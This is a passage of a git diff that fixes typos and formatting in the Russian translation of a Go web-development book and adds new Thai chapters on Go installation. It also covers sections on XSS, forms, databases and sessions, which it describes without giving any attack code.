`ключ=значение`. v := url.Values{} v.Set("name", "Ava") diff --git a/ru/04.2.md b/ru/04.2.md index 64c52913c..4a37a4f13 100644 --- a/ru/04.2.md +++ b/ru/04.2.md @@ -52,7 +52,7 @@ if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { return false } -( ***Прим. переводчика на русский язык - для русского языка регулярка в данном случае будет выглядеть как "[А-аЯ-яЁё]+$"*** ) +( ***Прим. переводчика на русский язык - для русского языка регулярка в данном случае будет выглядеть как "[А-Яа-яЁё]+$"*** ) ## Адрес E-mail diff --git a/ru/04.3.md b/ru/04.3.md index 5e9caf41d..fb20343c4 100644 --- a/ru/04.3.md +++ b/ru/04.3.md @@ -1,6 +1,6 @@ # 4.3 Межсайтовый скриптинг -Для совершенствования взаимодействия с пользователем современные сайты содержат все больше динамического контента, что означает, что мы должны предоставлять информацию динамически в зависимости от поведения каждого пользователя. К сожалению, существует такое явление как "межсайтовый скриптинг" (известный как "XSS"), с помощью которого осуществляются постоянные атаки на динамические сайты, в то время как сайты со статическим содержимым этим атакам не подвержены. +Для совершенствования взаимодействия с пользователем современные сайты содержат все больше динамического контента, что означает, что мы должны предоставлять информацию динамически, в зависимости от поведения каждого пользователя. К сожалению, существует такое явление как "межсайтовый скриптинг" (известный как "XSS"), с помощью которого осуществляются постоянные атаки на динамические сайты, в то время как сайты со статическим содержимым этим атакам не подвержены. Злоумышленники посылают на сайты, подверженные межсайтовому скриптингу, скрипты на JavaScript, VBScript, ActiveX или Flash. Если скрипт удачно вторгся на сайт, пользовательская информация может быть похищена, а сайт наполнен спамом. Злоумышленники могут также изменить настройки пользователя на те, которые захотят. diff --git a/ru/04.4.md b/ru/04.4.md index 41578519e..ca2e70c02 100644 --- a/ru/04.4.md +++ b/ru/04.4.md @@ -1,11 +1,11 @@ # 4.4 Дублирование отправки -Не знаю, встречали ли Вы, как на каком-либо блоге или форуме размещено несколько постов подряд с одинаковым содержимым, но я могу сказать Вам, что это происходит по причине того, что отправка постов дублируется пользователем. Это может произойти по многим причинам; иногда пользователь отправляет форму двойным щелчком, или он после отправки решает исправить содержимое поста и нажимает кнопку браузера "Назад". А иногда это - намереные действия злоумышленников. Понятно, что дублирование отправки может привести ко многим проблемам. Поэтому нам нужно принимать эффективные меры для его предотвращения. +Не знаю, встречали ли Вы, как на каком-либо блоге или форуме размещено несколько постов подряд с одинаковым содержимым, но я могу сказать Вам, что это происходит по причине того, что отправка постов дублируется пользователем. Это может произойти по многим причинам; иногда пользователь отправляет форму двойным щелчком, или он после отправки решает исправить содержимое поста и нажимает кнопку браузера "Назад". А иногда это - намеренные действия злоумышленников. Понятно, что дублирование отправки может привести ко многим проблемам. Поэтому нам нужно принимать эффективные меры для его предотвращения. -Решением этой задачи является добавление в форму скрытого поля с уникальным токеном и проверка этого токена перед перед обработкой введенных данных. А если для отправки формы Вы используете Ajax, можно после того, как данные отправлены, сделать кнопку отправки неактивной. +Решением этой задачи является добавление в форму скрытого поля с уникальным токеном и проверка этого токена перед обработкой введенных данных. А если для отправки формы Вы используете Ajax, можно после того, как данные отправлены, сделать кнопку отправки неактивной. Давайте усовершенствуем пример из раздела 4.2: - +```html Футбол Баскетбол Теннис @@ -13,35 +13,35 @@ Пароль: - +``` Для того, чтобы сгенерировать токен, мы используем хэш MD5 (временная отметка), и добавляем его как в скрытое поле формы ввода данных на стороне клиента, так и в сессионный куки на стороне сервера (см. Раздел 6). Мы можем использовать этот токен для того, чтобы проверить, отправлялись ли уже данные с этой формы: - - func login(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) // получаем метод запроса - if r.Method == "GET" { - crutime := time.Now().Unix() - h := md5.New() - io.WriteString(h, strconv.FormatInt(crutime, 10)) - token := fmt.Sprintf("%x", h.Sum(nil)) - - t, _ := template.ParseFiles("login.gtpl") - t.Execute(w, token) - } else { - // запрос данных о входе - r.ParseForm() - token := r.Form.Get("token") - if token != "" { - // проверяем валидность токена - } else { - // если нет токена, возвращаем ошибку - } - fmt.Println("username length:", len(r.Form["username"][0])) - fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // печатаем на стороне сервера - fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) - template.HTMLEscape(w, []byte(r.Form.Get("username"))) // отвечаем клиенту - } +```Go +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) // получаем метод запроса + if r.Method == "GET" { + crutime := time.Now().Unix() + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + } else { + // запрос данных о входе + r.ParseForm() + token := r.Form.Get("token") + if token != "" { + // проверяем валидность токена + } else { + // если нет токена, возвращаем ошибку + } + fmt.Println("username length:", len(r.Form["username"][0])) + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // печатаем на стороне сервера + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) // отвечаем клиенту } - +} +``` ![](images/4.4.token.png?raw=true) Рисунок 4.4 Содержимое браузера после добавления токена diff --git a/ru/04.5.md b/ru/04.5.md index ab69c9fcc..4bc1d03f8 100644 --- a/ru/04.5.md +++ b/ru/04.5.md @@ -1,8 +1,8 @@ # 4.5 Загрузка файлов -Предположим, у Вас есть веб-сайт наподобие Instagram, и Вы хотите, чтобы пользователи закачивали туда свои фортографии. Как можно реализовать эту функцию? +Предположим, у Вас есть веб-сайт наподобие Instagram, и Вы хотите, чтобы пользователи закачивали туда свои фотографии. Как можно реализовать эту функцию? -Для этого нужно добавить в форму, через которую будут закачиваться фотографии, свойство `enctype`. Оно имеет три значения: +Для этого нужно добавить в форму, через которую будут закачиваться фотографии, со свойством `enctype`. Оно имеет три значения: ``` application/x-www-form-urlencoded Кодировать все символы перед закачкой (по умолчанию). diff --git a/ru/04.6.md b/ru/04.6.md index d97c7bd0d..b11845385 100644 --- a/ru/04.6.md +++ b/ru/04.6.md @@ -1,12 +1,6 @@ -<<<<<<< HEAD -# 4.6 Итоги главы - -В этой главе мы изучили основные моменты того, как работать с данными в Go, посредством нескольких примеров, таких как обработка входа пользователей и загрузка файлов. Мы также заострили внимание на том, что проверка данных крайне важна для безопасности сайта, а также посвятили одну секцию тому, как фильтровать входные данные посредством регулярных выражений. -======= # 4.6 Итоги раздела В этом разделе мы изучили основные моменты того, как работать с данными в Go, посредством нескольких примеров, таких как обработка входа пользователей и загрузка файлов. Мы также заострили внимание на том, что проверка данных крайне важна для безопасности сайта, а также посвятили одну секцию тому, как фильтровать входные данные посредством регулярных выражений. ->>>>>>> eead24cf064976b648de5826eab51880c803b0fa Я надеюсь, что теперь Вы больше знаете о процессе коммуникации между клиентом и сервером. @@ -14,4 +8,4 @@ - [Содержание](preface.md) - Предыдущий раздел: [Загрузка файлов](04.5.md) -- Следужщий раздел: [Базы данных](05.0.md) +- Следующий раздел: [Базы данных](05.0.md) diff --git a/ru/05.0.md b/ru/05.0.md index d3040ddaf..ef86fa9f0 100644 --- a/ru/05.0.md +++ b/ru/05.0.md @@ -1,8 +1,8 @@ -# 5 Базы данных +# 5. Базы данных Одним из ключевых аспектов веб разработки является использование баз данных. В базах данных можно хранить и обрабатывать почти все, например информацию о пользователях, продуктах, новостные списки и т.д. -Язык Go не имеет каких либо драйверов для баз данных, но у него есть драйвер интерфейса, определенный в пакете `database/sql`. На базе этого интерфейса разработчики могут легко создавать свои драйвера баз данных. В разделе 5.1 мы с вами рассмотрим структуру драйвера интерфеса в Go; в разделах 5.2 - 5.4 я покажу вам некоторые драйвера SQL баз данных; в разделе 5.5 я покажу ORM, которую я разработал базируясь на стандарте интерфейса `database/sql`, она совместима с большинством драйверов, включенных в интерфейс `database/sql` и предоставляет простой доступ к базам данных встиле языка Go. (***ORM (англ. Object-Relational Mapping, рус. объектно-реляционное отображение) — технология программирования, которая связывает базы данных с концепциями объектно-ориентированных языков программирования, создавая «виртуальную объектную базу данных».***) +Язык Go не имеет каких либо драйверов для баз данных, но у него есть драйвер интерфейса, определенный в пакете `database/sql`. На базе этого интерфейса разработчики могут легко создавать свои драйвера баз данных. В разделе 5.1 мы с вами рассмотрим структуру драйвера интерфеса в Go; в разделах 5.2 - 5.4 я покажу вам некоторые драйвера SQL баз данных; в разделе 5.5 я покажу ORM, которую я разработал базируясь на стандарте интерфейса `database/sql`, она совместима с большинством драйверов, включенных в интерфейс `database/sql` и предоставляет простой доступ к базам данных в стиле языка Go. (***ORM (англ. Object-Relational Mapping, рус. объектно-реляционное отображение) — технология программирования, которая связывает базы данных с концепциями объектно-ориентированных языков программирования, создавая «виртуальную объектную базу данных».***) NoSQL является горячей темой в последние годы. Большинство новых сайтов решили использовать базу данных NoSQL в качестве основной базы данных, а не только для использования кэша. Я расскажу подробнее о двух NoSQL базах данных - MongoDB и Redis в разделе 5.6. diff --git a/ru/05.1.md b/ru/05.1.md index 47880e26d..437642611 100644 --- a/ru/05.1.md +++ b/ru/05.1.md @@ -21,7 +21,7 @@ sql.Register("mymysql", &d) } -Мы видим, что все сторонние драйвера вызывают данную функцию для саморегистрации. При этом Go использует карту для сохранения информации о пользовательском драйвере внутри `databse/sql`. +Мы видим, что все сторонние драйвера вызывают данную функцию для саморегистрации. При этом Go использует карту для сохранения информации о пользовательском драйвере внутри `database/sql`. var drivers = make(map[string]driver.Driver) @@ -46,7 +46,7 @@ drivers[name] = driver Open(name string) (Conn, error) } -`Conn` - это одноразовое соединение. Это означает, что его можно использовать только один раз в одной горутине. Следующй код вызовет исключение: +`Conn` - это одноразовое соединение. Это означает, что его можно использовать только один раз в одной горутине. Следующий код вызовет исключение: ... go goroutineA (Conn) // запрос @@ -148,7 +148,7 @@ driver.Rows - это интерфейс для возвращения резул type Value interface{} -`Value` должно быть содержать значения, совместимые с драйвером, или быть nil, поэтому оно должно быть одним из следующих типов: +`Value` должно содержать значения, совместимые с драйвером, или быть nil, поэтому оно должно быть одним из следующих типов: int64 float64 @@ -185,7 +185,7 @@ driver.Rows - это интерфейс для возвращения резул ## database/sql -`databse/sql` определяет высокоуровневые методы для более удобной работы с базами данных (выше чем драйвера) и предлагает вам реализовать пул соединений. +`database/sql` определяет высокоуровневые методы для более удобной работы с базами данных (выше чем драйвера) и предлагает вам реализовать пул соединений. type DB struct { driver driver.Driver diff --git a/ru/05.2.md b/ru/05.2.md index 7da9a34e9..1fdf6a775 100644 --- a/ru/05.2.md +++ b/ru/05.2.md @@ -1,6 +1,6 @@ # 5.2 MySQL -Комплекс северного программного обеспечения LAMP последние годы очень популярен в интернете. Буква М в данном акрониме означает MySQL. MySQL является наиболее известной базой данных с открытым исходным кодом. Она проста в использовании, поэтому ее часто используют в бэкенде множества веб-сайтов. +Комплекс серверного программного обеспечения LAMP последние годы очень популярен в интернете. Буква М в данном акрониме означает MySQL. MySQL является наиболее известной базой данных с открытым исходным кодом. Она проста в использовании, поэтому ее часто используют в бэкенде множества веб-сайтов. ## Драйвера MySQL @@ -13,17 +13,17 @@ Я буду использовать первый драйвер в моих будущих примерах (в моих проекта я тоже использую его). Я рекомендую вам использовать его по следующим причинам: - Это новый драйвер базы данных и он предоставляет множество возможностей. -- Полностью поддерживает стандарты интерфейса `databse/sql`. +- Полностью поддерживает стандарты интерфейса `database/sql`. - Поддерживает постоянное соединение между потоками. -##Примеры +## Примеры Во всех следующих разделах я буду использовать одинаковую структуру таблицы базы данных для различных баз данных, создать которую можно следующим SQL запросом: CREATE TABLE `userinfo` ( `uid` INT(10) NOT NULL AUTO_INCREMENT, `username` VARCHAR(64) NULL DEFAULT NULL, - `departname` VARCHAR(64) NULL DEFAULT NULL, + `department` VARCHAR(64) NULL DEFAULT NULL, `created` DATE NULL DEFAULT NULL, PRIMARY KEY (`uid`) ); @@ -44,7 +44,7 @@ checkErr(err) // вставка - stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + stmt, err := db.Prepare("INSERT userinfo SET username=?,department=?,created=?") checkErr(err) res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") diff --git a/ru/05.3.md b/ru/05.3.md index b240c1e4f..6c7642806 100644 --- a/ru/05.3.md +++ b/ru/05.3.md @@ -1,6 +1,6 @@ # 5.3 SQLite -SQLite это открытая встраиваемая реляционная база данных. Она автономна, не требует конфигурации и является полноценной СУБД. Ее основные характеристики это: высокая портативность, простота использования, эффективность и надежость. В большинстве случаев вам нужен только двоичный файл SQLite для создания, подключения и эксплуатации базы данных. Если вы ищите встраиваемое решение СУБД, вам стоит рассмотреть SQLite. По сути SQLite является версией Access с открыты исходным кодом. +SQLite - это открытая, встраиваемая, реляционная база данных. Она автономна, не требует конфигурации и является полноценной СУБД. Ее основные характеристики это: высокая портативность, простота использования, эффективность и надежность. В большинстве случаев вам нужен только двоичный файл SQLite для создания, подключения и эксплуатации базы данных. Если вы ищите встраиваемое решение СУБД, вам стоит рассмотреть SQLite. По сути SQLite является версией Access с открытым исходным кодом. ## Драйвера SQLite @@ -12,14 +12,14 @@ SQLite это открытая встраиваемая реляционная Первый драйвер является единственным, который поддерживает стандарты интерфейса `database/sql` в SQLite, поэтому я использую его в моих проектах. Поддержка стандартов позволит легко мигрировать на другую базу в будущем. -##Примеры +## Примеры Создайте таблицу следующим запросом: CREATE TABLE `userinfo` ( `uid` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(64) NULL, - `departname` VARCHAR(64) NULL, + `department` VARCHAR(64) NULL, `created` DATE NULL ); @@ -39,7 +39,7 @@ SQLite это открытая встраиваемая реляционная checkErr(err) // вставка - stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)") checkErr(err) res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09") diff --git a/ru/05.4.md b/ru/05.4.md index 1920610f8..3d839e228 100644 --- a/ru/05.4.md +++ b/ru/05.4.md @@ -1,6 +1,6 @@ # 5.4 PostgreSQL -PostgreSQL - свободная объектно-реляционная система управления базами данных доступная для множества платформ, включая Linux, FreeBSD, Solaris, Microsoft Windows и Mac OS X. Выпускается под собственной MIT-подобной лицензией. В отличие от MySQL, она разработана и позиционируется для использования в корпоративном сегменте, как Oracle. Так что PostgreSQL - это хороший выбор для использования в корпоративных проектах. +PostgreSQL - свободная, объектно-реляционная система управления базами данных, доступная для множества платформ, включая Linux, FreeBSD, Solaris, Microsoft Windows и Mac OS X. Выпускается под собственной MIT-подобной лицензией. В отличие от MySQL, она разработана и позиционируется для использования в корпоративном сегменте, как Oracle. Так что PostgreSQL - это хороший выбор для использования в корпоративных проектах. ## Драйвера PostgreSQL @@ -12,7 +12,7 @@ PostgreSQL - свободная объектно-реляционная сист Я буду использовать первый драйвер в последующих примерах. -##Примеры +## Примеры Создайте таблицу следующим запросом: @@ -20,7 +20,7 @@ PostgreSQL - свободная объектно-реляционная сист ( uid serial NOT NULL, username character varying(100) NOT NULL, - departname character varying(500) NOT NULL, + department character varying(500) NOT NULL, Created date, CONSTRAINT userinfo_pkey PRIMARY KEY (uid) ) @@ -54,7 +54,7 @@ PostgreSQL - свободная объектно-реляционная сист fmt.Println("# Inserting values") var lastInsertId int - err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) + err = db.QueryRow("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId) checkErr(err) fmt.Println("last inserted id =", lastInsertId) diff --git a/ru/06.0.md b/ru/06.0.md new file mode 100644 index 000000000..1d367cca6 --- /dev/null +++ b/ru/06.0.md @@ -0,0 +1,14 @@ +# 6. Хранение данных и сессии + +Хорошие впечатления пользователей - важная тема в web-разработке, однако тот факт, что HTTP является протоколом без сохранения состояния, кажется, противоречит этому тезису. Как мы можем контролировать процесс просмотра web-страниц пользователями? Классическим решением является использование куки(cookies) и сессий. Куки хранятся на стороне клиента, а сессии, с уникальным идентификатором для каждого пользователя, на стороне сервера. Обратите внимание, что идентификаторы сессий можно хранить не только в URL и куки-файлах, но также и в базе данных, что намного более безопасно, но может сказаться на производительности приложения. + +В разделе 6.1 мы будем говорить о различиях между сессиями и куки-файлами. В разделе 6.2 вы узнаете, как использовать сессии в Go с помощью реализации менеджера сессий. В разделе +6.3 мы будем говорить о способах угона(hijacking) сессий и как его предотвратить, в том случае, если вы знаете, что идентификатор сессии может быть сохранен где угодно. Менеджер +сеансов, который мы реализуем в разделе 6.3 будет хранить сессии в памяти, но если вам необходимо масштабировать приложение, чтобы обеспечить общий доступ к сессиям, то всегда +лучше хранить их непосредственно в базе данных. Мы поговорим об этом подробнее в разделе 6.4 + +## Ссылки + +- [Содержание](preface.md) +- Предыдущий раздел: [Итоги главы 5](05.7.md) +- Следующий раздел: [Сессии и куки(cookies)](06.1.md) diff --git a/ru/preface.md b/ru/preface.md index 074031e28..bd7b2fcf0 100644 --- a/ru/preface.md +++ b/ru/preface.md @@ -31,15 +31,15 @@ - 5.2. [MySQL](05.2.md) - 5.3. [SQLite](05.3.md) - 5.4. [PostgreSQL](05.4.md) - - 5.5. [Develop ORM based on beedb](05.5.md) + - 5.5. [Разработка ORM на основе beedb](05.5.md) - 5.6. [NoSQL database](05.6.md) - - 5.7. [Summary](05.7.md) + - 5.7. [Итоги раздела](05.7.md) - 6.[Data storage and session](06.0.md) - 6.1. [Session and cookies](06.1.md) - 6.2. [How to use session in Go](06.2.md) - 6.3. [Session storage](06.3.md) - 6.4. [Prevent hijack of session](06.4.md) - - 6.5. [Summary](06.5.md) + - 6.5. [Итоги раздела](06.5.md) - 7.[Text files](07.0.md) - 7.1. [XML](07.1.md) - 7.2. [JSON](07.2.md) @@ -47,13 +47,13 @@ - 7.4. [Templates](07.4.md) - 7.5. [Files](07.5.md) - 7.6. [Strings](07.6.md) - - 7.7. [Summary](07.7.md) + - 7.7. [Итоги раздела](07.7.md) - 8.[Web services](08.0.md) - 8.1. [Sockets](08.1.md) - 8.2. [WebSocket](08.2.md) - 8.3. [REST](08.3.md) - 8.4. [RPC](08.4.md) - - 8.5. [Summary](08.5.md) + - 8.5. [Итоги раздела](08.5.md) - 9.[Security and encryption](09.0.md) - 9.1. [CSRF attacks](09.1.md) - 9.2. [Filter inputs](09.2.md) @@ -61,30 +61,30 @@ - 9.4. [SQL injection](09.4.md) - 9.5. [Password storage](09.5.md) - 9.6. [Encrypt and decrypt data](09.6.md) - - 9.7. [Summary](09.7.md) + - 9.7. [Итоги раздела](09.7.md) - 10.[Internationalization and localization](10.0.md) - 10.1 [Time zone](10.1.md) - 10.2 [Localized resources](10.2.md) - 10.3 [International sites](10.3.md) - - 10.4 [Summary](10.4.md) + - 10.4 [Итоги раздела](10.4.md) - 11.[Error handling, debugging and testing](11.0.md) - 11.1. [Error handling](11.1.md) - 11.2. [Debugging by using GDB](11.2.md) - 11.3. [Write test cases](11.3.md) - - 11.4. [Summary](11.4.md) + - 11.4. [Итоги раздела](11.4.md) - 12.[Deployment and maintenance](12.0.md) - 12.1. [Logs](12.1.md) - 12.2. [Errors and crashes](12.2.md) - 12.3. [Deployment](12.3.md) - 12.4. [Backup and recovery](12.4.md) - - 12.5. [Summary](12.5.md) + - 12.5. [Итоги раздела](12.5.md) - 13.[Build a web framework](13.0.md) - 13.1. [Project program](13.1.md) - 13.2. [Customized routers](13.2.md) - 13.3. [Design controllers](13.3.md) - 13.4. [Logs and configurations](13.4.md) - 13.5. [Add, delete and update blogs](13.5.md) - - 13.6. [Summary](13.6.md) + - 13.6. [Итоги раздела](13.6.md) - 14.[Develop web framework](14.0.md) - 14.1. [Static files](14.1.md) - 14.2. [Session](14.2.md) @@ -92,5 +92,5 @@ - 14.4. [User validation](14.4.md) - 14.5. [Multi-language support](14.5.md) - 14.6. [pprof](14.6.md) - - 14.7. [Summary](14.7.md) + - 14.7. [Итоги раздела](14.7.md) - Appendix A [References](ref.md) diff --git a/th/01.0.md b/th/01.0.md new file mode 100644 index 000000000..11dfa0991 --- /dev/null +++ b/th/01.0.md @@ -0,0 +1,21 @@ +# 1 การตั้งค่าสภาพแวดล้อมของ Go + +ยินดีต้อนรับสู่โลกของ Go เรามาเริ่มต้นกันเลย! + +Go เป็นภาษาประเภทคอมไพล์ที่ทำงานได้อย่างรวดเร็ว มีระบบ garbage collection สนับสนุนระบบ concurrent ซึ่งทำให้เกิดข้อได้เปรียบกว่าภาษาอื่น ดังนี้: + +- คอมไพล์โปรเจ็คขนาดใหญ่ได้ในเวลาไม่กี่วินาที +- จัดเตรียมรูปแบบในการพัฒนาซอฟท์แวร์แบบที่เข้าใจได้ง่าย โดยหลีกเลี่ยงปัญหาที่เกิดกับ header files ในภาษาซี +- เป็นภาษาประเภท static ที่ไม่ได้มี levels ในระบบชนิดข้อมูล (type) ทำให้ผู้ใช้ไม่จำเป็นต้องเสียเวลาในการจัดการกับความสัมพันธ์ระหว่างชนิดข้อมูล (type) ซึ่งอันที่จริงแล้วก็คล้ายกับเป็นภาษาแบบ object-oriented ชนิดกลายๆ นั่นเอง +- มี garbage collection และสนับสนุนการทำ concurrency และการสื่อสาร +- ออกแบบมาเพื่อรองรับกับคอมพิวเตอร์แบบหลายคอร์ (multi-core computers) + +Go เป็นภาษาประเภทที่ต้องคอมไพล์ ซึ่งได้หลอมรวมประสิทธิภาพในการพัฒนาของภาษาที่ทำงานในแบบ interpreter หรือเรียกอีกอย่างหนึ่งว่าภาษาแบบ dynamic กับความปลอดภัยในแบบของภาษา static เอาไว้ด้วยกัน นับเป็นทางเลือกในการพัฒนาสำหรับคอมพิวเตอร์สมัยใหม่ที่ทำงานแบบหลายคอร์ (multi-core) และเชื่อมต่อกันด้วยระบบเครือข่าย และจากเป้าหมายที่กล่าวมานี้จึงมีปัญหาบางอย่างที่จำเป็นต้องแก้ในระดับของภาษาเอง ยกตัวอย่างเช่น การสนับสนุนรูปแบบชนิดข้อมูลแบบเบา (lightweight type) สนับสนุนรูปแบบการทำงานแบบ concurrency ในตัวเอง และมีการทำ garbage collection ที่ถูกควบคุมอย่างเคร่งครัด +ซึ่งเป็นเวลาระยะหนึ่งแล้วที่ไม่มี packages หรือเครื่องมือที่ออกแบบมาเพื่อแก้ปัญหาเหล่านี้อย่างจริงจังในทางปฎิบัติ นี่จึงเป็นที่มาของแรงบันดาลใจในการสร้างภาษา Go ขึ้นมา + +ในบทนี้ ผมจะแสดงการติดตั้งและการตั้งค่าสภาพแวดล้อมในการพัฒนาของ Go + +## Links + +- [Directory](preface.md) +- บทถัดไป: [การติดตั้ง](01.1.md) diff --git a/th/01.1.md b/th/01.1.md new file mode 100644 index 000000000..8ecfb1e5a --- /dev/null +++ b/th/01.1.md @@ -0,0 +1,147 @@ +# 1.1 การติดตั้ง + +## 3 วิธีในการติดตั้ง Go + +การตั้งค่าคอมพิวเตอร์เพื่อใช้ในการพัฒนาด้วย Go นั้น มีอยู่ด้วยกันหลายวิธี และเราสามารถเลือกใช้วิธีใดก็ได้ที่ถนัด โดยทั่วไปจะมีอยู่ด้วยกัน 3 วิธี ดังนี้ + +- ติดตั้งจาก packages มาตรฐาน ที่ถูกปล่อยโดยตรง + - ทีมงานของ Go ได้เตรียมการติดตั้งที่สะดวกสบายบน Windows, Linux, Mac และระบบปฎิบัติการอื่นๆ ซึ่งนับเป็นวิธีเริ่มใช้งาน Go ที่สะดวกที่สุด +โดยสามารถดาวน์โหลดตัวติดตั้งจาก [หน้าดาวน์โหลดของ Golang](https://golang.org/dl/) +- ติดตั้งจาก source code ด้วยตัวเอง + - นับเป็นวิธีการติดตั้งที่ได้รับความนิยมในหมู่ของนักพัฒนาที่คุ้นเคยกับการทำงานบนระบบที่คล้ายกับ Unix +- ติดตั้งจากเครื่องมือประเภท third party ต่างๆ + - มีเครื่องมือประเภท third party และตัวจัดการ package อยู่มากมายที่สามารถใช้ในการติดตั้ง Go ยกตัวอย่างเช่น apt-get ใน Ubuntu และ homebrew ใน Mac + +ในกรณีที่ต้องการติดตั้ง Go มากกว่าหนึ่งเวอร์ชั่นในคอมพิวเตอร์เครื่องเดียว สามารถใช้เครื่องมือที่เรียกว่า [GVM](https://github.com/moovweb/gvm) นับเป็นเครื่องมือที่ดีที่สุดในการใช้งานแบบนี้เท่าที่เห็นมา ไม่อย่างนั้นแล้วเราก็ต้องลงมือทำทั้งหมดด้วยตัวเอง + +## ติดตั้งจาก source code + +ในการคอมไพล์ Go ตั้งแต่เวอร์ชั่น 1.5 เป็นต้นมา เราเพียงแค่ต้องใช้ Go เวอร์ชั่นก่อนหน้าเท่านั้นในการคอมไพล์ Go + +หากต้องการคอมไพล์ Go เวอร์ชั่นตั้งแต่ 1.4 ลงไป เราต้องใช้คอมไพล์เลอร์ภาษาซี เนื่องจากว่าบางส่วนของ Go ยังถูกเขียนด้วย Plan 9 C และ AT&T assembler อยู่ + +บนระบบ Mac นั้น หากเราติดตั้ง Xcode อยู่แล้ว ก็สามารถใช้คอมไพล์ได้เลย + +ส่วนระบบที่ทำงานคล้าย Unix อื่นๆ ทั้งหลาย ต้องติดตั้ง gcc หรือคอมไพล์เลอร์ที่คล้ายกัน ยกตัวอย่างเช่น หากใช้ Ubuntu ก็สามารถใช้ตัวจัดการ package apt-get ซึ่งติดตั้งมากับ Ubuntu ด้วย เพื่อติดตั้งคอมไพล์เลอร์ที่เราต้องการ ดังนี้: + +```sh +sudo apt-get install gcc libc6-dev +``` + +โดยบน Windows นั้นจำเป็นต้องติดตั้ง MinGW ก่อนเพื่อที่จะติดตั้ง gcc และอย่าลืมตั้งค่า environment ของ Windows หลังจากที่ติดตั้งเสร็จเรียบร้อยแล้ว ( ***คอมเมนท์จากผู้แปล: หากใช้ Windows 64 bit ก็ควรเลือกติดตั้ง MinGW เวอร์ชั่น 64 bit ด้วยเหมือนกัน*** ) +เมื่อถึงจุดนี้เราก็สามารถ clone source code ของ Go แล้วก็ทำการคอมไพล์ได้เลย ( ***ซอร์สโคดจะถูก clone ลงไปอยู่ในไดเร็คทอรีปัจจุบัน โดยการย้าย และการเปลี่ยนไดเร็คทอรีก่อนที่จะทำงานต่อ อาจจะใช้เวลาเล็กน้อย*** ) + + git clone https://go.googlesource.com/go + cd go/src + ./all.bash + +หากติดตั้งสำเร็จจะแสดงข้อความว่า "ALL TESTS PASSED." + +บน Windows สามารถทำสิ่งเดียวกันนี้โดยใช้คำสั่ง `all.bat` แทน + +หากใช้ระบบปฎิบัติการ Windows ตัวติดตั้งจะทำการตั้งค่าตัวแปร environment ให้โดยอัตโนมัติ แต่หากเป็นระบบที่คล้าย Unix นั้น เราต้องตั้งค่าเหล่านั้นด้วยตัวเอง ดังนี้ ( ***หากเป็น Go เวอร์ชั่นที่มากกว่า 1.0 เราไม่จำเป็นต้องตั้งค่า $GOBIN โดยจะถูกตั้งค่าให้อย่างอัตโนมัติโดยอ้างอิงจาก $GOROOT/bin ซึ่งจะได้พูดถึงในบทถัดไป*** ) + + export GOROOT=$HOME/go + export GOBIN=$GOROOT/bin + export PATH=$PATH:$GOROOT/bin + +หากเราเห็นข้อความด้านล่างนี้ปรากฎบนหน้าจอ แสดงว่าทุกอย่างพร้อมใช้งานแล้ว + +![](images/1.1.mac.png?raw=true) + +รูป 1.1 ข้อมูลที่แสดงภายหลังการติดตั้งด้วย source code + +เมื่อหน้าจอแสดงคำแนะนำในการใช้งานของ Go นั่นแสดงว่าการติดตั้งสำเร็จแล้ว แต่หากมีข้อความว่า "no such command" ให้ทำการตรวจดูค่า $PATH ในตัวแปร environment ของระบบ มี path ที่ติดตั้ง Go อยู่หรือไม่ + +## ติดตั้งจาก packages มาตรฐาน + +Go นั้นมีตัวติดตั้ง package มาตรฐานในแทบจะทุกระบบปฎิบัติการ โดย package จะติดตั้ง Go ลงไปที่ `/usr/local/go` (`c:\Go` สำหรับ Windows) หากไม่ได้เลือกเป็นอย่างอื่น ซึ่งแน่นอนว่าเราสามารถเลือกได้เองว่าจะติดตั้งไว้ที่ใด แต่เราก็ต้องแก้ไขตัวแปร environment ทั้งหมดด้วยตัวเองดังที่ได้แสดงไว้ด้านบน + +### จะรู้ได้อย่างไรว่าระบบปฎิบัติการเป็นแบบ 32 bit หรือ 64 bit? + +ขั้นต่อไปนั้นขึ้นอยู่กับว่าเราใช้ระบบปฎิบัติการชนิดใด ดังนั้นเราจึงจำเป็นต้องตาวจสอบให้มั่นใจก่อนที่จะดาวน์โหลดตัวติดตั้ง package ลงมา + +หากใช้ Windows ให้กด `Win+R` แล้วสั่งรัน command tool แล้วพิมพ์คำสั่ง `systeminfo` จะเป็นการแสดงข้อมูลเกี่ยวกับระบบออกมา มองหาบรรทัดที่มีข้อความว่า "system type" หากเห็นว่าเป็น "x64-based PC" แสดงว่าระบบปฎิบัติการเป็นแบบ 64 bit นอกเหนือจากนี้แสดงว่าเป็น 32 bit + +ขอแนะนำให้ดาวน์โหลด package เวอร์ชั่น 64 bit สำหรับคนที่ใช้ Mac เนื่องจากว่า Go ไม่ได้ซัพพอร์ทหน่วยประมวลผลแบบ 32 bit บน Mac OSX แล้ว + +สำหรับผู้ใช้งาน Linux สามารถใช้คำสั่ง `uname -a` ใน terminal เพื่อดูข้อมูลของระบบ หากเป็นระบบปฎิัติการแบบ 64 bit จะแสดงข้อความดังนี้: + + x86_64 x86_64 x86_64 GNU/Linux + // some machines such as Ubuntu 10.04 will show as following + x86_64 GNU/Linux + +หากเป็นระบบปฎิบัติการแบบ 32 bit จะแสดงข้อความนี้แทน: + + i686 i686 i386 GNU/Linux + +### 